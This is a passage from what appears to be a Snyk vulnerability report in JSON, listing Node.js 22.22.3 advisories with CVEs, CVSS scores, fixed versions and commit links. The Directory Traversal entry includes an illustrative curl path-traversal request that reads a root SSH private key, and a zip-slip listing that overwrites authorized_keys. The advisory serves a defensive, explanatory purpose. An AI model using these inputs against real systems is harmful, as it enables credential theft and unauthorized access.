[Node.js](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.45151",
"probability": "0.00573",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48937"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-06-23T18:25:38.204109Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-18T19:18:16Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-06-23T18:25:38.387210Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:04:50.506339Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.0"
},
{
"id": "SNYK-UPSTREAM-NODE-17674807",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"erichen"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.0)",
"[23.0.0, 24.17.0)",
"[25.0.0, 26.3.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.0",
"24.17.0",
"26.3.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/98fbc892119d10ff9b385d35e6ff6e0f6fcc6eff",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases",
"title": "Node.js Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-27T06:47:40.179091Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-26T11:01:41.429545Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:04:50.747064Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:04:50.747064Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-27T06:47:40.179091Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.429545Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the WebCrypto cipher output length calculation in `src/crypto/crypto_aes.cc`, where `data_len + blockSize + tag_len` is computed as a signed `int` before being passed to OpenSSL. An attacker can abort the process and cause a denial of service by passing an input around a multiple of 2 GiB to `subtle.encrypt()`, which overflows that length computation and crashes the runtime.\n## Remediation\nUpgrade `node` to version 22.23.0, 24.17.0, 26.3.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/98fbc892119d10ff9b385d35e6ff6e0f6fcc6eff)\n- [Node.js Advisory](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.89370",
"probability": "0.03711",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48933"
],
"CWE": [
"CWE-190"
]
},
"packageName": "node",
"creationTime": "2026-06-29T14:31:58.946820Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-26T02:08:32.113000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-06-29T14:31:59.135778Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:04:50.747064Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.0"
},
{
"id": "SNYK-UPSTREAM-NODE-18507942",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"credit": [
"vnyuh"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/51123159fe863073d7dcaf5c88b23bad8aae1a62",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/95ba2cfde732391fca7c3eeeb798e68e3eea4f5c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/c7ec3dc0b99f0d0e66d9153f40387ba98fd21a85",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"cvssV3BaseScore": 6.3,
"modificationTime": "2026-08-05T06:03:44.647596Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"cvssV3BaseScore": 6.3,
"modificationTime": "2026-08-07T11:01:48.504262Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-02T14:02:49.935746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-02T14:02:49.935746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T06:03:44.647596Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:48.504262Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Improper Certificate Validation due to the `HTTPS Agent` skipping hostname verification across identity policies. An attacker can intercept or manipulate encrypted communications by exploiting TLS session reuse without proper hostname validation.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/51123159fe863073d7dcaf5c88b23bad8aae1a62)\n- [GitHub Commit](https://github.com/nodejs/node/commit/95ba2cfde732391fca7c3eeeb798e68e3eea4f5c)\n- [GitHub Commit](https://github.com/nodejs/node/commit/c7ec3dc0b99f0d0e66d9153f40387ba98fd21a85)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.18321",
"probability": "0.00278",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58040"
],
"CWE": [
"CWE-295"
]
},
"packageName": "node",
"creationTime": "2026-08-02T12:15:22.422438Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-30T15:48:41Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-02T12:15:22.587494Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-02T14:02:49.935746Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
},
{
"id": "SNYK-UPSTREAM-NODE-18507943",
"title": "Directory Traversal",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"sinan-polat"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.4,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/61222008b756c6da5e5ccad39e49bb5764379d21",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/9a6b7e343a42061c44fa567d557fef7a347a8099",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/ed18b9cc073f0b63268d6f2c84730b18e90fdd20",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 4.4,
"modificationTime": "2026-08-05T05:50:30.795493Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.3,
"modificationTime": "2026-08-07T11:01:49.032075Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.4,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.030048Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.030048Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:50:30.795493Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:49.032075Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Directory Traversal due to improper enforcement of the permission model in the `process.report`. An attacker can access or overwrite files outside of the intended `--allow-fs-write` paths by leveraging this flaw to bypass security boundaries.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/61222008b756c6da5e5ccad39e49bb5764379d21)\n- [GitHub Commit](https://github.com/nodejs/node/commit/9a6b7e343a42061c44fa567d557fef7a347a8099)\n- [GitHub Commit](https://github.com/nodejs/node/commit/ed18b9cc073f0b63268d6f2c84730b18e90fdd20)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.03926",
"probability": "0.00155",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58039"
],
"CWE": [
"CWE-22"
]
},
"packageName": "node",
"creationTime": "2026-08-02T12:15:46.875620Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-31T01:48:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-02T12:15:47.051773Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.030048Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
},
{
"id": "SNYK-UPSTREAM-NODE-18553644",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"leduckhuong"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/34ed88a069393a40fb97c7015e5539a0818ae756",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/f14d78b9e0",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T05:49:05.944858Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T11:01:47.905351Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.221490Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.221490Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T05:49:05.944858Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:47.905351Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the HTTP/2 header block handling. An attacker can cause excessive memory consumption by sending specially crafted HTTP/2 requests that bypass memory limits.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/34ed88a069393a40fb97c7015e5539a0818ae756)\n- [GitHub Commit](https://github.com/nodejs/node/commit/f14d78b9e0)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.40376",
"probability": "0.00500",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-56846"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:00:32.348238Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:55:16Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:00:46.764993Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.221490Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
},
{
"id": "SNYK-UPSTREAM-NODE-18553648",
"title": "Use After Free",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"hahahkim"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/23b94c843a",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-08T05:30:23.932871Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T11:01:48.414364Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.910908Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.910908Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-08T05:30:23.932871Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:48.414364Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Use After Free in the HTTP/2 handling process when `nghttp2_session_mem_send()` is called re-entrantly during the execution of `nghttp2_session_mem_recv()`. An attacker can cause a heap-use-after-free condition by triggering concurrent or re-entrant calls, potentially leading to denial of service or other unpredictable behavior.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/23b94c843a)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.39699",
"probability": "0.00490",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-56848"
],
"CWE": [
"CWE-416"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:01:23.611072Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T18:13:39Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:01:45.203590Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.910908Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
},
{
"id": "SNYK-UPSTREAM-NODE-18553653",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"cantina-security"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/22efc051a3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/9d0d36cffd2aee92ba0166df5c565d499be8746a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/dbeeaeec1304e9a0a2609bcdb0270d93921089b5",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-11T05:30:10.378598Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-07T11:01:49.572976Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T14:04:21.461449Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T14:04:21.461449Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-11T05:30:10.378598Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:49.572976Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `dns.resolveAny` function when processing a DNS response containing more than 256 A records. An attacker can cause the process to abort repeatedly by sending specially crafted DNS responses.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/22efc051a3)\n- [GitHub Commit](https://github.com/nodejs/node/commit/9d0d36cffd2aee92ba0166df5c565d499be8746a)\n- [GitHub Commit](https://github.com/nodejs/node/commit/dbeeaeec1304e9a0a2609bcdb0270d93921089b5)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.28315",
"probability": "0.00369",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58042"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:04:10.503438Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:54:39Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:04:21.066266Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T14:04:21.461449Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
},
{
"id": "SNYK-UPSTREAM-NODE-18553660",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"byvini"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/05f541b5c08601a9767e3083897ff7898734a098",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/0d072480c3dbbad6db8723e39786321646989343",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/b3fbb6e11f",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
